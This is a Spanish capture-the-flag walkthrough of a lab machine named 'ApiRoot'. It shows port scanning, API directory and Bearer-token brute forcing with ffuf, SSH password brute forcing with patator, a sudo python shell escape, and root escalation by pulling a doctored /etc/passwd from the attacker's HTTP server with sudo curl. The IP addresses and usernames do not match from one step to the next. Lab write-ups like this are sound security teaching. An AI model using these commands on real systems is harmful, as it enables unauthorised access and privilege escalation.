# ApiRoot  🔓

🔍 \*\*Acompáñame en este análisis para entender cómo los errores más simples

```
Herramientas implementadas:
nmap
gobuster
ffuf
patator
curl
```

Veamos que obtenemos con el siguiente escaneo de puertos y servicios:

```
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oN apiroot 172.18.0.2
```

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fx5elZpPvaNgBaDt9ImcK%2Fimage.png?alt=media&#x26;token=25b7921f-831a-47dd-a8c0-a62bd971c5d7" alt=""><figcaption></figcaption></figure>

```
Nos encontramos con 2 resultados0: Puerto 22 y 5000.
```

```
En el 5000 hay una web que nos habla de API's http://172.17.0.2:5000/
```

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FsLiYujQQ9mbHbKwqUoM3%2Fimage.png?alt=media&#x26;token=da25071a-0d63-4f9e-aebb-3984b03fa891" alt=""><figcaption></figcaption></figure>

```
    GET /api/directorio_oculto - Obtener todos los usuarios
    GET /api/directorio_oculto/<id> - Obtener un usuario por ID
    POST /api/directorio_oculto - Agregar un nuevo usuario
    DELETE /api/directorio_oculto/<id> - Eliminar un usuario
```

Nada interesante en si. pero en la pagina veremos que cada ejemplo de API, GET O POST y así, tienen como comienzo "/api"

Lo de directorio\_oculto me lleva a realizar un ffuf de directorios, a ver que podiamos encontrarnos..

```
gobuster dir -u http://172.17.0.2:5000/api -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
```

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FaUaELHXraPTw7yscxVZ9%2Fimage.png?alt=media&#x26;token=48672cd6-28b1-4415-9bfe-3273797bec53" alt=""><figcaption></figcaption></figure>

```
/users
```

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2F7Yzv0htENk7FKDaTtICK%2Fimage.png?alt=media&#x26;token=737b6e57-14f4-4516-8056-e33c44925ace" alt=""><figcaption></figcaption></figure>

Ahora que tenemos el directorio desconocido seguimos leyendo la web y nos muestra la forma es la que hariamos la peticion pero nos falta un dato el bearer token para ello lanza ffuf con el rockyou.txt

```
ffuf -c -w /usr/share/wordlists/rockyou.txt -H "Authorization: Bearer FUZZ" -u "http://172.17.0.2:5000/api/users" -fc 401 -fl 31
```

-c: Activa la visualización en color para facilitar la lectura.\
H "Authorization: Bearer FUZZ"`: Prueba diferentes valores reemplazando` FUZZ`en la cabecera`Authorization: Bearer `. -u "http://172.17.0.2:5000/api/users"`: URL del endpoint donde intentamos autenticarnos.\
-fc 401: Filtra respuestas con código HTTP **401 Unauthorized**, ya que estos indican que el token es incorrecto.\
-fl 31: Filtra respuestas con 31 líneas, para evitar falsos positivos y enfocarnos en respuestas diferentes.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fe56UhsXcqdOwFKbkkyvt%2Fimage.png?alt=media&#x26;token=7d431453-ad87-452b-b7a1-af209d752bd5" alt=""><figcaption></figcaption></figure>

Con la API Key en nuestro poder, podriamos realizar varias acciones dependiendo de los permisos y la funcionalidad de la API.\
En este caso específico, podido listar los usuarios existentes.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FbmYYBzMcCVerr2zf5fOj%2Fimage.png?alt=media&#x26;token=a49c57ee-a75f-4804-8dc5-10015df76262" alt=""><figcaption></figcaption></figure>

Recordando el escaneo inicial de puertos, donde nos encontramos con el puerto 22 abierto.\
A realizar fuerza bruta al servicio SSH, con patator:

patator ssh\_login host=10.129.233.210 user=john password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fkj4bozw5TnFHuKBIOEYY%2Fimage.png?alt=media&#x26;token=b30cc879-f7c8-470e-9b86-623de7ce8e4e" alt=""><figcaption></figcaption></figure>

```
ssh bob@172.17.0.2
```

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FgOpChrnbuwHdj0hugs46%2Fimage.png?alt=media&#x26;token=012bb104-30cf-4ace-ab93-2daf8609d398" alt=""><figcaption></figcaption></figure>

Con sudo -l muestramos qué comandos puede ejecutar el usuario actual con privilegios elevados para identificar posibles vectores de escalada de privilegios.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FgZo6OJacZQBjv7tZd5E7%2Fimage.png?alt=media&#x26;token=af17de27-b558-43e0-b8e4-1360c000753b" alt=""><figcaption></figcaption></figure>

```
sudo -u balulero /usr/bin/python3
	import pty;
	pty.spawn("/bin/bash");

```

Asi logramos acceder al usuario: balulero

Volvemos a ejecutar el "sudo -l" para ver si tenemos alguna posibilidad de escalar privilegios

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FSsFKeNqwTQDw0jSVWwaI%2Fimage.png?alt=media&#x26;token=0a30b70e-dc09-420e-afaf-bf0d7ce44552" alt=""><figcaption></figcaption></figure>

Nos dirigimos a GTFobins:

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FzvOxuvjc4DPBQnSrAWZa%2Fimage.png?alt=media&#x26;token=a9903609-21bc-4011-8eb4-7ac1783c954d" alt=""><figcaption></figcaption></figure>

Copiamos el archivo de passwd desde la carpeta victima y en nuestra terminal le sacamos la "x" entonces ahora vamos a pasar desde nuestra maquina a la victima el archivo modificado desde un servidor como nos indica lo de GTFOBINS.

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2F3Q8ZZyKoA9jwEAXA8Z8v%2Fimage.png?alt=media&#x26;token=4d3637ac-e39c-4277-bd5f-d05b65392ea4" alt=""><figcaption></figcaption></figure>

Maquina ATK: Modificamos el archivo, borramos la x de root y guardamos:

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FWJwr16NAX5ayP7Db0jD1%2Fimage.png?alt=media&#x26;token=d35c263a-2877-4d61-a55c-b128a53b0c0a" alt=""><figcaption></figcaption></figure>

Levantamos el servidor en la maquina donde esta el archivo modificado:

```
 python3 -m http.server 8000

```

En la terminal donde tenemos el ssh:

```
URL=http://172.17.0.1:8000/passwd
LFILE=/etc/passwd
sudo curl $URL -o $LFILE
```

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2FkSfRM5kJAPcIcu4MKq62%2Fimage.png?alt=media&#x26;token=7881766f-6eb7-4f09-bec0-363c00542248" alt=""><figcaption></figcaption></figure>

```
HABEMUS ROOT !! 
```

<figure><img src="https://1902957005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEf5nvxpY8cEesBiBqWxx%2Fuploads%2Fgt0R68BDrLqgKsR8MZr9%2Fimage.png?alt=media&#x26;token=bed0e523-5fd3-45fc-84e7-46daba561af4" alt=""><figcaption></figcaption></figure>
